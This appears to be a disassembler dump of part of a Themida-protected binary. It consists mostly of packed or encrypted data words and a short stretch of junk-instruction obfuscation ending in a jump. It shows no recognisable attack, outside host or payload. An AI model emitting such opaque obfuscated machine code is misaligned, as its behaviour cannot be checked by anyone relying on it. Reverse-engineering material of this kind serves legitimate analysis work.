		dd 5BC41442h, 18AABB02h, 0A04239B6h, 0A7101442h, 484DC095h
		dd 7D4E1F66h, 5FE59A95h, 585BE5h, 97B0000h, 0DB202D15h
		dd 34091BE9h, 1F66484Dh, 0A06E1592h, 83EC1442h,	15F4923Ch
		dd 0B811EF01h, 16F492h,	0C2A12DC8h, 0C9DB76AEh,	66B6D6AFh
		dd 15E734F4h, 3F512427h, 925B706Ah, 0EBF817F4h,	0F9FD4A9h
		dd 0ADCEE47h, 31h, 0CAB12E90h, 88144271h, 9BF412ECh, 484DB489h
		dd 15921F66h, 1442A06Eh, 68FBDABh, 0D4C0D002h, 0B18D2B7Bh
		dd 0B2C45F97h, 563992DDh, 70165D7Dh, 607A565Bh,	0A0847B28h
		dd 162E1442h, 0A04037B4h, 920F1442h, 1442A0EDh,	46AF0069h
		dd 70EF9734h, 0D1507394h, 0F052922Fh, 0CFA94797h, 0C5463DBAh
		dd 0AB141442h, 291E4052h, 1442D521h, 0E9425C38h, 0FFF433A5h
		dd 7D5634FFh, 0E5AAC95Dh, 16FC79C9h, 0E413A680h, 0E596437Bh
		dd 6213A680h, 0C8661551h, 0A75CD9EEh, 3313A680h, 9E3971CAh
		dd 0FD4EB18Ch, 787D877h, 0B0000000h, 19Eh, 424D2D00h, 659F1C6Ch
		dd 2B13A6A7h, 0E091B48Fh, 66B1FBA3h, 0A5F54EA7h, 0FD0F2D07h
		dd 70906937h, 886402DCh, 0EF485C3Bh, 110A1CB7h,	13A69FA0h
		dd 0EF839977h, 0D7B2FBD9h, 3B94AA88h, 94CBAAE2h, 0CD8CB831h
		dd 7F25D05Bh, 4759395Bh, 0E9394F2Dh, 46586C4Bh,	0CDD84A24h
		dd 0F23576B0h, 0AF54D121h, 2B13A631h, 0B996B0C2h, 0A78480A1h
		dd 0F16E815Ch, 13A6310Ah, 0CE065FC8h, 288ADA33h, 5B93AF8Ah
		dd 31AE55C0h, 0C32C13A6h, 0FC6702B1h, 0E0F8D548h, 6C49E7D7h
		dd 6F811C54h, 0E56A959Ah, 0BA2CE7DFh, 217EC111h, 6C0B1DA3h
		dd 0E3h, 6B434D95h, 1AF49224h, 0CD19EAF5h, 389159F7h, 3E543200h
		dd 78F5D3E5h, 14425E86h, 92DD240Bh, 0EE95D339h,	0A0680F8Ch
		dd 6AE71442h, 1442A095h, 1E87D841h, 3092370Ch, 666DF1BEh
		dd 26918EC5h, 14427C51h, 2F0894FDh, 6E3FD0Fh, 3092A7EEh
		dd 42A0CCB3h, 0F218A14h, 0D855B749h, 1442A023h,	5F3446AFh
		dd 1F66484Dh, 9A957D4Eh, 1CE55FE5h, 4E86A47Eh, 3902A1B3h
		dd 2B000000h, 8BF12092h, 30F9DC2Ah, 149AFB1Eh, 0FE4926C4h
		dd 34CF0723h, 92F4C9DBh, 42A06E15h, 7250EC14h, 3089245Ch
		dd 4C6642E0h, 3992653Ah, 165D7D56h, 1D9E5B70h, 2D000000h
		dd 1F66484Dh, 115F492h,	3E1C2EC9h, 42A03AC1h, 29705714h
		dd 7D563992h, 5B70165Dh, 0B8923092h, 0A0482F9Ah, 9D061442h
		dd 0FF0BB98Bh, 5648FFFFh, 0AF116179h, 42A04D32h, 8EA00914h
		dd 51DFAC8h, 713D5271h,	8CA88321h, 0AD1F9C7Ah, 0E313A6B3h
		dd 12B0427Ah, 0E071939h, 13A6B46Dh, 78B0CAA6h, 7AB2D0AAh
		dd 3FB4D2ACh, 1C743C68h, 0DC235B0Bh, 0BAD87809h, 0A8561F48h
		dd 0EDFF4BAFh, 584Eh, 424D7700h, 0D455B39h, 4CC91972h
		dd 13A6A986h, 0A05BE355h, 41A10D1Ah, 0D9B4502Fh, 7F2C64BDh
		dd 13A6D3FCh, 0EB233917h, 19F73E1Dh, 0D730CB03h, 0ED99609Fh
		dd 83C4DA5h, 779EAB54h,	2F7BEDD8h, 2B851E86h, 4B64DCAh
		dd 0BB2413A6h, 0E3F7D662h, 5FFE10ABh, 0BDh, 61795688h
		dd 64805B29h, 55289A2Ch, 0DC4A9E74h, 7D5A7486h,	825F2D65h
		dd 52E1D66Ah, 0C5144291h, 263CD0E8h, 6FE13149h,	18F5624Ah
		dd 0CD2DC800h, 0E5F7F15Dh, 6747481Fh, 0A50C9A17h, 0F15A13A6h
		dd 6E5835Dh, 0D2BDE0F2h, 3B0F8CDCh, 39144050h, 7E280D0h
		dd 0B7D57EBh, 8FFBF1ECh, 20F98545h, 1B2DC800h, 0B60A2601h
		dd 62351572h, 0A3911757h, 9A000002h, 0F60CA0C2h, 5369FD1Dh
		dd 0B3C95D77h, 162CC0D4h, 0B28B1F3Bh, 1C38134Ch, 7A987288h
		dd 0DCF2D0E6h, 3D553248h, 0C946F6A9h, 13A83032h, 92CC5BA0h
		dd 9DAF6420h, 6476063Ch, 45206F4Ah, 0C90119F6h,	0E87CD52Eh
		dd 49DDF5D2h, 6C424D78h, 0A9E99F1Ch, 3EA713A6h,	0AAA65906h
		dd 142513A6h, 4AC72950h, 13A6AAB5h, 7558B821h, 41FB1E75h
		dd 0B54A2537h, 0E3D8774Dh, 3C4E6A45h, 0C69Dh, 7956C600h
		dd 0FF37532Eh, 5D30B64h, 0E5FFDB2Ah, 5BCA3C8Ch
		dd 380CE86Fh, 50B7A6D5h, 1D963DF0h, 32AB50CDh, 0BE271442h
		dd 0A39E6ACh, 1D144236h, 7E942840h, 7A5189A1h, 0CC499915h
		dd 13A638DEh, 708F238Ch, 71FF881Fh, 0F869EF08h,	0C1FCA813h
		dd 60B9F4h, 0BDCB69D2h,	0AAFA5372h, 4024AA2Dh, 0F997F914h
		dd 0E097021Eh, 331B89E9h, 6D084054h, 4827B31Ch,	4F61FC34h
		dd 19B70770h, 788E223Eh, 52D819Dh, 0D8623574h, 1981298h
		dd 0CDA50000h, 280117ABh, 825E7408h, 0DFBED468h, 462137CBh
		dd 37BD962Ah, 9327431Eh, 0F185A37Dh, 53E7FDDBh,	0B448603Dh
		dd 2FD45101h, 0AB13A831h, 7B56D766h, 0D8B5CB5Fh, 565B2CC0h
		dd 5B296179h, 0D2205F7Eh, 4445C9D7h, 7D185066h,	0DD7BCB24h
		dd 16B1E9FFh, 6B3106B6h, 55679491h, 337B1433h, 58CC66E3h
		dd 319313A6h, 0A65FCFB4h, 10228B13h, 6DB89531h,	0C61F7890h
		dd 0ADFED876h, 245CB5D3h, 0FB997789h, 18B6061Eh, 0F1132539h
		dd 0AEE6FEDBh, 1C63AA1Ch, 2D8DA984h, 7183C729h,	1D6D414Eh
		dd 4CB83BA0h, 0B2E65814h, 0BE0B7770h, 9F08E7F9h, 3223F14Bh
		dd 3AC00062h, 0DEh, 0D165875Fh,	2EC2E2BBh, 8E223C18h, 0F1859978h
		dd 50E400DBh, 0FDD87177h, 5D374DE1h, 0B795AB3Fh, 1AF70DA1h
		dd 0BBB6E02h, 0A832E98Eh, 91206513h, 1C6C424Dh,	7587A37Eh
		dd 56D33597h, 1442A0A1h, 9AB6912Dh, 0BEDAB541h,	0E0D9EB86h
		dd 13A8D5FFh, 24F22A93h, 323FC47h, 87D730CBh, 847F6115h
		dd 78D87AD0h, 98069E1Dh, 7092A4C5h, 2D657D5Ah, 0DE0A7680h
		dd 7AC3A173h, 0B24D859Dh, 77532159h, 0C144255Dh, 2EABCD85h
		dd 122A0776h, 2806A47Eh, 0DF3FDA12h, 0A4B241FBh, 0DCF608A8h
		dd 1DAFE7FFh, 2686A67Fh, 8A3A0DF5h, 0D2ECFEB9h,	0F0A7DFF3h
		dd 15F26D19h, 765369FDh, 1FA0265Eh, 26000000h, 0CC4352C4h
		dd 237963E0h, 23B1C3B8h, 6C13907Ch, 0EA7C23B1h,	0B6943081h
		dd 603547A0h, 7E563E8Dh, 7956245Ch, 7D5B2961h, 87612F67h
		dd 88633169h
		db 6Ch
byte_5EB785	db 34h,	66h, 8Bh	; DATA XREF: Themida_:00583288o
					; Themida_:005847B4o
		dd 8A69376Fh, 94703E76h, 9B74427Ah, 68EE437Bh, 15F3h, 53242489h
		dd 4BBh, 245C0100h
		db 4, 5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ecx, 36742124h
		add	ecx, 4AF769F9h
		and	ecx, 19A66C0Eh
		inc	ecx
		dec	ecx
		push	eax
		mov	eax, 265C4B52h
		or	ecx, eax
		pop	eax
		sub	ecx, 1F93D340h
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		sub	dword ptr [esp], 171E3553h
		pop	dword ptr [ebp+8]
		add	dword ptr [ebp+8], 171E3553h
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		db 91h
		dd 82AA2345h, 0EA930CB8h, 50C50307h, 2C2D85C6h,	684707E4h
		dd 0CF381725h, 19DB5FFh, 858D07E4h, 7E43BDCh, 0D88BD0FFh
		dd 3359858Dh, 685007E4h, 104h, 85C6D3FFh, 7E42C2Dh, 0F8BF6853h
		dd 0B5FF8307h, 7E4019Dh, 3BDC858Dh, 0D0FF07E4h,	75E48589h
		dd 0BD8307EAh, 7E4015Dh, 0B840F00h, 8B000000h, 0E415519Dh
		dd 5E907h, 0BB0000h, 68000000h,	100h, 75E8B58Dh, 535607EAh
		dd 14C195FFh, 0B58D07E4h, 7EA75E8h, 1E9F003h, 4E000000h
		dd 0F5C3E80h, 984h, 2F3E8000h, 0FFED850Fh, 6C6FFFFh, 0E8858D00h
		dd 5007EA75h, 75E495FFh, 0FF5807EAh, 0B8C17FE0h, 0A1B6E07Fh
		dd 8228F116h, 35731F57h, 0B927115Bh, 0A779B577h, 0D7675F3Eh
		dd 461BED58h, 0ED32D20Fh, 0A2D3BC0Ah, 0E359B41Fh, 78B86D57h
		dd 2EB8D857h, 737BBA6Dh, 37B59244h, 0C9E34C14h,	1C3EA34Bh
		dd 1413516Bh, 4C56DA5Ch, 9832B53Bh, 4CF2CA37h, 0F7A0F70Ch
		dd 0D8B10F45h, 593B3D37h, 0BE85Fh, 17560000h, 72A28EE1h
		dd 85B2F8B0h, 2810FEFh,	0B4000000h, 81665F80h, 8179D7F0h
		dd 63E4C7h, 0F3B70F00h,	0BBh, 0C0E98000h, 811F148Bh, 0AE6D05EAh
		dd 148E0F71h, 0E9000000h, 0Fh, 9D4E5BAFh, 87FA5F8Ch, 41550EC8h
		dd 815263DEh, 89DFF7C2h, 81CE8B32h, 990EB0EAh, 0B9A8B87Dh
		dd 0E9526DE4h, 12h, 153E4D7Eh, 764FC208h, 444F80BAh, 0B50B4DCDh
		dd 48FBD91h, 0D881661Fh, 6E904C7h, 0A4000000h, 0FBBF098Ah
		dd 3EB83F8h, 0BE951h, 94DB0000h, 6393804Eh, 0F057B7B1h
		dd 0E84B5E7Eh, 13h, 0D83B0DECh,	93FC2648h, 0BB9D773Fh
		dd 0EC5763F9h, 5043DDB4h, 5E5EC68Bh, 9CE8FB81h,	850FFFFFh
		dd 0FFFFFF60h, 0E29DE81h, 1AE96BFBh, 0F6000000h, 1AF7B3h
		dd 5 dup(0)
		dd 58EE900h, 39110000h,	946D8317h, 0EECAE074h, 4B2A40D4h
		dd 0B28DA337h, 0C3290296h, 0FF93AF8Ah, 5DF10FE9h, 0BF536947h
		dd 20B4CCA9h, 0BB40BD6Dh, 1713A835h, 309243D2h,	659DB592h
		dd 0A0985FCAh, 0CD361442h, 0ACC4A1BBh, 1990EA5Ch, 0B626FC5Dh
		dd 0DA4CDEA4h, 0D1F1FD44h, 87A1B34Bh, 22FC90ACh, 858E2CB0h
		dd 0D1FD815h, 0C6FE16F3h, 9A21C234h, 2A83EE9Eh,	0D621FE18h
		dd 0B5D5AEF9h, 3089245Ch, 31512AF8h, 4C6843E1h,	0CCA6743Ah
		dd 0CDA876AEh, 981579B1h, 582A4ECh, 3BB81A41h, 1442A744h
		dd 0A800A903h, 8FE09090h, 1DFA1426h, 7D5B7105h,	87F9D367h
		dd 43200C45h, 0F858F32Bh, 0BD9B0DDEh, 223C4EA7h, 64F62E44h
		dd 57457AF2h, 0B9CBBE1Dh, 6FA7C59Fh, 0BAA5E1B8h, 1C32C6DCh
		dd 42EF273Fh, 14424FB8h, 0C0FCA865h, 0E05B223Fh, 6598h
		dd 411AB800h, 52B2C121h, 0A5B24B2Dh, 0F492BE93h, 0D5EF0115h
		dd 0F290E0F8h, 22E8FA18h, 42A08875h, 1A320F14h,	193614E2h
		dd 0BC0490D9h, 336BC447h, 6792DF4h, 0B6B81129h,	0BEC246B8h
		dd 47E2B947h, 0B0EC9835h, 0E05BE24Fh, 188h, 7D56B100h
		dd 7E57255Dh, 7958265Eh, 4CC92D65h, 2C4C2518h, 8DA58298h
		dd 7B5628F9h, 8059275Fh, 0A017EC69h, 5AC31442h,	0F6BE09FAh
		dd 78D18FE5h, 0D390240h, 0CB1B3712h, 51DFA659h,	0DAFF9064h
		dd 7795D1ECh, 0AACCDE37h, 679FB794h, 579CBD99h,	0A6BE8858h
		dd 7CE7EEC7h, 70E2381Ch, 92EB0BE4h, 0F7AFC05Ah,	5BF568C7h
		dd 0F1D06EE0h, 0F80AA5DDh, 0A359h, 7B568200h, 7D59275Fh
		dd 7F5D2B63h, 63E5C36h,	48DA126Bh, 42A034CBh, 0AD39A214h
		dd 0B07EB6D2h, 9A1DBCD2h, 784A6EAh, 0E905E05Fh,	48643F55h
		dd 48634210h, 968069F7h, 0ED3D9642h, 4759734Fh,	0BDD7B381h
		dd 0C0DCB785h, 63E5834h, 2A6125A2h, 0DBE33C96h,	0F048A1D3h
		dd 38F7A7DFh, 7EE05B3Bh, 7ED89F1Ch, 0D761442h, 5A5CFBh
		dd 1A7C0000h, 427EE69Dh, 455B3914h, 0B821720Dh,	7B56D1A6h
		dd 0F795275Fh, 3ACC0418h, 42A0C6BDh, 0D22B9414h, 0ABC8A6C0h
		dd 5B4AEBFBh, 5E96EFADh, 0D34AFA7Dh, 7748DCF8h,	0D5D7D56h
		dd 885906Fh, 1442A073h,	0B1D76DFh, 0A0E69845h, 0FEBB1442h
		dd 11E91646h, 1EEE05Ch,	17000000h, 28607A56h, 11DF896h
		dd 0C5BA37C9h, 911442A0h, 6843CF28h, 6779144Ch,	0E461704Dh
		dd 1442A11Fh, 0C1F952BBh, 0C80014F3h, 0CC041EFAh, 743C68EBh
		dd 17C28FFh, 58770B25h,	0AA277737h, 13A69064h, 0C391C932h
		dd 75CFC7E6h, 0F712E966h, 57C013A6h, 819D93F7h,	0A17E9428h
		dd 0BC9B3989h, 0C3D570A8h, 65AD50FDh, 54D713A6h, 38502D10h
		dd 99B18EA4h, 0FD5DCF61h, 4C7EB0BFh, 5D7552DEh,	3C54314Bh
		dd 49FDC604h, 91E1F9D6h, 0F2CDB22Fh, 208913A6h,	0EA15EC0Eh
		dd 0EBD877BFh, 13Dh, 39424D14h,	730E465Ah, 934DCA1Ah, 4113A6BEh
		dd 0F5D2A0D8h, 563349DDh, 5B38063Eh, 4CD0B43h, 0F100DD40h
		dd 0A6BE8F74h, 89E24B13h, 0F3E11EF5h, 6DF6D877h, 16000000h
		dd 71839B78h, 0BC20929Ch, 40A6F512h, 3CC34090h,	9A144275h
		dd 95FC1F31h, 574CC919h, 36BBD8Ah, 156E8E67h, 754B30DDh
		dd 0EDCC9442h, 0F6D3A1D9h, 0C542A6DEh, 0A7C39E81h, 7E7BD46Fh
		dd 0A878FB7h, 80F254A4h, 1BA682ADh, 0FEDB6717h,	0C4DBD4E6h
		dd 92EBBDBDh, 623BD929h, 5D6F0A42h, 0A36D3Bh, 81F30000h
		dd 9F70DFCh, 10E5F747h,	1C6C424Dh, 0A6B9F59Fh, 21FE9C13h
		dd 0A8E0FAD6h, 0C3A2B40Dh, 0F290225Ah, 0D0EAFC16h, 6D47DBF3h
		dd 1E872FFBh, 0EDFFE0C3h, 8ED7F6D3h, 0A4E835C3h, 0D19DE5Bh
		dd 4CB513A6h, 0B5629AF3h, 13A60D35h, 8F8EB639h,	2C069AB2h
		dd 889AB08Eh, 34842A65h, 4C9B58B7h, 0AA892714h,	0B1C35E96h
		dd 0A71969D2h, 0A2BE9477h, 0F70DEB17h, 0B9CB24BFh, 0F6EF61F3h
		dd 0A93FCD8Ch, 0D0ADC7D9h, 338CAC85h, 4C6C45E3h, 0A1677914h
		dd 0E35313EAh, 35B202ACh, 1C670AD6h, 0CDA73BA4h, 283A522Fh
		dd 92309253h, 0CB669EB4h, 42A09B60h, 42CE3714h,	77124A68h
		dd 614D4265h, 35779411h, 9A0313A8h, 9FB79462h, 18F50Bh
		dd 1E5C1BC8h, 11EF0EB5h, 1AF5C3FBh, 0E562C6FEh,	52CFF1A1h
		dd 364E2B12h, 97AF8CA2h, 0DB5BCD5Fh, 0AD1A8ADEh, 0EA52CE2Eh
		dd 6A049CE7h, 545F3E58h, 453A20D7h, 0EC45AE31h,	0ED0DE6B4h
		dd 0FC09E7B5h, 453AF87Fh, 94ED5631h, 0CB7BF85Ch, 0B3B1287h
		dd 8B1F3714h, 0B6799875h, 4620A1E3h, 0E039532Fh, 1FBD4F87h
		dd 44162844h, 3, 563E8DD3h, 56245C7Eh, 5B296179h, 612F677Dh
		dd 63316987h, 66346C88h, 69376F8Bh, 703E768Ah, 74427A94h
		dd 0EE437B9Bh, 81E38953h, 4C3h,	4EB8300h, 8B241C87h, 89512424h
		dd 4C181E1h, 81000000h,	4E9h, 240C8700h, 240C895Ch, 81E18951h
		dd 4C1h, 4E98300h, 5C240C87h
		db 89h
byte_5EBF85	db 14h,	24h, 68h	; DATA XREF: Themida_:00583A30o
		dd 7EA95BBh, 83240C8Bh,	8B5404C4h, 0C4832414h, 4EC8104h
		dd 89000000h, 428F240Ch, 24148B08h, 81E68956h, 4C6h, 4C68300h
		dd 5C243487h, 53240C8Bh, 0C381E389h, 4,	4C381h,	1C870000h
		dd 0B4E95C24h, 0A2FFF9E2h, 0EA9AC1B8h, 0FFC50307h, 6EFF29E0h
		dd 615B4F25h, 9291570Eh, 40E63867h, 8E47A636h, 3E791208h
		dd 0F87E5139h, 3BB73B61h, 8E060C5Dh, 0C2EF372h,	0F662504Ch
		dd 1C95BC21h, 155FB20Eh, 186E6136h, 1A6DD123h, 54565A04h
		dd 89010624h, 0EF69E262h, 0A4FE6129h, 561DA170h, 0DAB3CF35h
		dd 76CB8D28h, 3DD1D10h,	4B88F84Ch, 0C1B89974h, 7F315564h
		dd 0F62A321Ch, 0B9BD3202h, 2596197Ah, 9AD93D14h, 868D8D2Eh
		dd 0F07EA9Ch, 8D89C1B7h, 7E41B71h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 3CC35646h, 9F6178B7h, 85C771DEh
		dd 7E42DA1h, 599Ch, 0FDEBF0Fh, 85C7FEBFh, 7E422B9h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0E5C35040h
		dd 51A59968h, 0A65BD8Bh, 0B5FF07E4h, 7E40635h, 15958951h
		dd 5807E409h, 306195FFh, 6A07E4h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0F479A5C3h, 0E7008B23h
		dd 0D3BF0F4Bh, 2631858Bh, 8B6007E4h, 6A61D8h, 0E4195FFh
		dd 0C08B07E4h, 2EC628EBh, 936CEED6h, 0B2A13AAFh, 2538AC54h
		dd 119882D8h, 773E1F58h, 7399AED2h, 0C808EBF9h,	0BEF60D09h
		dd 4AB7C5Fh, 8D8DE406h,	7EA9D59h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0C2C35545h,	0C22737A8h, 8BA7A984h
		dd 0E42D59BDh, 718D8907h, 0E907E41Bh, 0Eh, 0D4D0127Fh
		dd 0C3283044h, 95EF2559h, 85C76E50h, 7E42DA1h, 736Ch, 0C761F560h
		dd 0E422B985h, 7, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 48B9D9BDh, 69BD8B71h
		dd 0FF07E423h, 0E41E15B5h, 5B50907h, 0FF07E40Ah, 0E4306195h
		dd 0BD88B07h, 0E41ECD9Dh, 0FF006A07h, 0E40E4195h, 0EBC08B07h
		dd 8B22A679h, 66013441h, 0DF7C53B2h, 24F2F978h,	91CBEB32h
		dd 5081D47Bh, 7909EC3Ah, 0CD74D480h, 8B5DEFFDh,	0A418B1EAh
		dd 0A28F113h, 54304086h, 4E82FE2Ah, 79A5F166h, 8B23F4h
		dd 7E6C4BE7h, 4457EB9Eh, 8BAD1615h, 0ED5E811Ah,	0FF261D9Bh
		dd 6F264DD6h, 27028F1Fh, 6EEEC8E7h, 0CCB5EC86h,	27CF5B1Eh
		dd 0EC42F5EAh, 74D173F1h, 66F78B08h, 0E9375A58h, 0F01AB8B9h
		dd 5E8257Bh, 89000000h,	837EEB97h, 81B589h, 815907E4h
		dd 7431C1h, 0A1850100h,	0BF07E413h, 0
		dd 2639BD89h, 1C8B07E4h, 0C381FC39h, 472A04E4h,	20B18589h
		dd 0EB8107E4h, 7F158CE9h, 31DDB58Bh, 0C38107E4h, 5B7AACF8h
		dd 6864BA66h, 89391C89h, 0E401918Dh, 0EDB58B07h, 8307E41Bh
		dd 958B04EFh, 7E41FA5h,	8C38FF81h, 850FFFFFh, 0FFFFFFB6h
		dd 0FE8h, 282D7F00h, 1B2304B6h,	0DA9009F5h, 0EBD2A22Eh
		dd 1ADD8D8Bh, 0F5807E4h, 686h, 0E58D8B00h, 8107E41Ah, 68CAC0h
		dd 5860F00h, 66000000h,	11E8E981h, 0B70FFF33h, 38148BDEh
		dd 2EE19529h, 0F28107E4h, 28D9438Bh, 81D0D380h,	1BA852EAh
		dd 0F18B6607h, 43ACC281h, 0DB802E67h, 8D8B5263h, 7E42BD9h
		dd 8938048Fh, 0E41EC195h, 4EF8307h, 1E61BD01h, 0FF8107E4h
		dd 0FFFF97ECh, 1F850Fh,	9D0B0000h, 7E41815h, 2EE9h, 0AC28D300h
		dd 0AFAED0ACh, 0B15F292Fh, 3F03347Bh, 0A45910E7h, 7870FC2h
		dd 0F000000h, 184h, 86E9F500h, 2EFFFFFFh, 0DB8E98F9h, 0E9E844CCh
		dd 48h,	6A05C6D0h, 0E61D8C93h, 2E81E89Dh, 6C64746Eh, 6C642E6Ch
		dd 1467006Ch, 8003B2BDh, 0FEB9h, 0Ah dup(0)
		dd 6CEE9h, 0A0DD6800h, 98E907EAh, 68FFF9DEh, 7EAA1AFh
		dd 0F9DE8EE9h, 0A24268FFh, 84E907EAh, 68FFF9DEh, 7EAA2F0h
		dd 0F9DE7AE9h, 0A3F268FFh, 70E907EAh, 68FFF9DEh, 7EAA4A6h
		dd 0F9DE66E9h, 0F214ECFFh, 4F6F485Eh, 0AFC9A5BBh, 1226051Bh
		dd 718D687Eh, 65FE04DDh, 0C4DA6E8Ah, 2238CCEAh,	849A2E44h
		dd 48FB8FA7h, 3F641B98h, 0ADF213A8h, 4136B315h,	0D13A83Fh
		dd 9EBD92A4h, 2Dh, 3FFBB224h, 8171D158h, 79569A6Fh, 7E5B2961h
		dd 22DDD266h, 751442A0h, 82927A97h, 0BAACBC7Fh,	32AF1161h
		dd 1442824Dh, 6C8EA009h, 39424D9Bh, 28CF4C5Dh, 0A61442A0h
		dd 11ACE43Dh, 568EAA85h, 951262BBh, 13A6AD13h, 0CCECC561h
		dd 0ED8E3B73h, 5A13A6AEh, 9E611D49h, 37D87803h,	253h, 1886E557h
		dd 28229649h, 0DA454116h, 394F2DCBh, 31546601h,	6200505Eh
		dd 7A586A88h, 0D754B618h, 1442A020h, 25DA45AEh,	0B11442A0h
		dd 6F3D3648h, 3D13A68Ch, 46F6B3CDh, 0AFFF9B73h,	0A60A4D32h
		dd 47A00913h, 95DC4E3Eh, 0B1754616h, 0F4F6EF01h, 76D788F3h
		dd 0C8459519h, 0DFB531CEh, 3DDB2B94h, 1D3B1560h, 0B9F14AE5h
		dd 0B4460C1Eh, 931F3B16h, 0CB669EB6h, 0BEF996B9h, 0B50ABA41h
		dd 56AF18C7h, 0BA518906h, 9303C052h, 906FB27Ch,	49A9447Ch
		dd 0FF5891C6h, 1C3411AFh, 7D957288h, 21105929h,	5EE42496h
		dd 48Dh, 0A5395B33h, 296B68Fh, 62F610ECh, 0C5596D4Ch, 24B8D4AFh
		dd 0D1ACA54Bh, 310B21B5h, 8B697F13h, 0EECBE175h, 0DF8F42D6h
		dd 0A8009D62h, 65F43913h, 0FD19F492h, 0DCF4D1EBh, 0ECC2CDA4h
		dd 0A85B2A9Ch, 2484A27Ch, 5E39B024h, 0F9D7E942h, 0A6CB927Ch
		dd 0E9C46013h, 0A1FA95CDh, 0BA95330Dh, 0B9CB669Eh, 0C0CF058Eh
		dd 8BC3E1BBh, 0E54797F0h, 0C5516B47h, 0C1BACCECh, 14420713h
		dd 444F58C1h, 8317AE20h, 994641B3h, 6AA2B695h, 106C6FCFh
		dd 7A15384Ah, 6D67E434h, 33BBC0DAh, 25A156D3h, 0C42DA408h
		dd 0A07D1B6Bh, 0A3B55088h, 258906DDh, 950058D5h, 69D2A3EFh
		dd 7F9E7B19h, 8D07FC10h, 0AE429BF3h, 9470BB98h,	0BFCD217Ah
		dd 0D2B9CEAFh, 3BB0C92h, 2D050000h, 8861770Bh, 0E2BED468h
		dd 3F1E34C8h, 0A681972Bh, 0D71DF68Ah, 0F387A37Eh, 51E503DDh
		dd 0B3475D3Bh, 14A8C09Dh, 4F34B161h, 0B13A801h,	795637C6h
		dd 3D522961h, 0A6A42171h, 0F413A6A2h, 5CD93B8Bh, 13A6A3A7h
		dd 0A2BA9733h, 0F6153749h, 48C51599h, 144C3CAEh, 0D68AC434h
		dd 0FAE8E40Bh, 72EF51A1h, 1B8C2F8Dh, 0B5D3AD49h, 7789E27Dh
		dd 61EFB99h, 677F5C72h,	7737582Fh, 96AA8927h, 6329A684h
		dd 311C6809h, 2F2274C8h, 43835A4Eh, 328BDh, 9EC09800h
		dd 0FB1BF40Ah, 5B755167h, 0BED2B1C7h, 1D39142Ah, 114AB089h
		dd 70861A36h, 0CEE47896h, 3046DAF0h, 0F4A73B53h, 230C744h
		dd 599E13A8h, 617956CAh, 713D5229h, 8E1AA421h, 0CF3813A6h
		dd 1B36D3Bh, 45FC0000h,	0AA048BDDh, 1996F85Ah, 1442A062h
		dd 7C7587F0h, 13A68CAEh, 0EA02DF7Dh, 260517B2h,	96A9B4BDh
		dd 78E69A7Bh, 0CA479717h, 0EE87A570h, 663D75DEh, 0B8358529h
		dd 16A05560h, 0AF54D133h, 1C18AE56h, 0F199E568h, 36D22369h
		dd 6F0A4258h, 0BC250416h, 0A6F1CE6Ch, 0C559B2C8h, 66BAD2AFh
		dd 6514673Ah, 7AB93F7Fh, 46000002h, 0A2B84C6Eh,	0FF15A9C9h
		dd 5F750923h, 0C2D86C80h, 5E37CBE7h, 0C8E4BF98h, 26441E34h
		dd 889E7C92h, 0E901DEF4h, 75F2A255h, 13A8028Eh,	5678074Ch
		dd 52296179h, 0BF21713Dh, 42A0BD42h, 0A47D1914h, 3B192B84h
		dd 0A6BB2CBEh, 0A539A213h, 0A608117Eh, 0A6BB5229h, 1C900013h
		dd 0E5335E0h, 971464BDh, 13A60BE0h, 0D0F3056Eh,	3D9FEFBFh
		dd 72AAC29Fh, 1ECCC5D7h, 0CD144227h, 7709EE6Bh,	5CC51B8Ah
		dd 0F9026B4Ah, 552AA709h, 11B8A77h, 158D8698h, 3956B9Fh
		dd 60D2228Ch, 71A227E9h, 8AA882E4h, 0DF411F31h,	3E196441h
		dd 0F64FEA22h, 56D323BEh, 8AE806A1h, 0B9B2C42Dh, 8D0C2787h
		dd 0A21464CDh, 5EFF7AC2h, 844A5C41h, 7CCCE2ADh,	6449570Ah
		dd 0C1D3B20Bh, 0DF3266E3h, 77E0B52Bh, 94AC8927h, 47C42600h
		dd 0BA3420B0h, 23F7AE1Eh, 94F3FC4Ch, 320F293Bh,	36E4C61Ah
		dd 0A9E9C38Ah, 17823h, 4E704800h, 0ABCBA4BAh, 0B250117h
		dd 6E826177h, 0CDE9C4DAh, 0C19A6039h, 2036CAE6h, 7E942846h
		dd 0E0F68AA0h, 0A457EB03h, 38077F4h, 94E13A8h, 6179567Ah
		dd 1CF99729h, 1F31CC04h, 0CB1B93FCh, 0A6A2D04Eh, 0A1359E13h
		dd 6C424DD0h, 3FFF9F1Ch, 2C9513A8h, 49613EDCh, 779DBB5h
		dd 5040D739h, 9E65D064h, 3C13A8A1h, 0CAA7C1D3h,	0ECA37AB2h
		dd 1BF572C2h, 0D914423Eh, 0EC45633Dh, 31952A9Ch, 387B74E2h
		dd 0CDAA4826h, 2E0B21B5h, 8807DE16h, 7B59D626h,	91C727Ah
		dd 6541946Dh, 28BAF24Bh, 0FA45D4ABh, 0C0198203h, 0FFA11367h
		dd 405A47h, 0C47Ah, 224FC00h, 5F7F586Eh, 0BFD9B5CBh, 2236152Bh
		dd 819D788Eh, 75EE14EDh, 0D4EA7E9Ah, 3248DCFAh,	94AA3E54h
		dd 580B9FB7h, 4542BA8h,	0BD0213A8h, 65424D2Eh, 5C0EB74Bh
		dd 52664514h, 0D350A0F9h, 13A8CD25h, 44124AB3h,	61FF4F67h
		dd 99346C84h, 724F6587h, 3111E663h, 21BD13A9h, 77D02947h
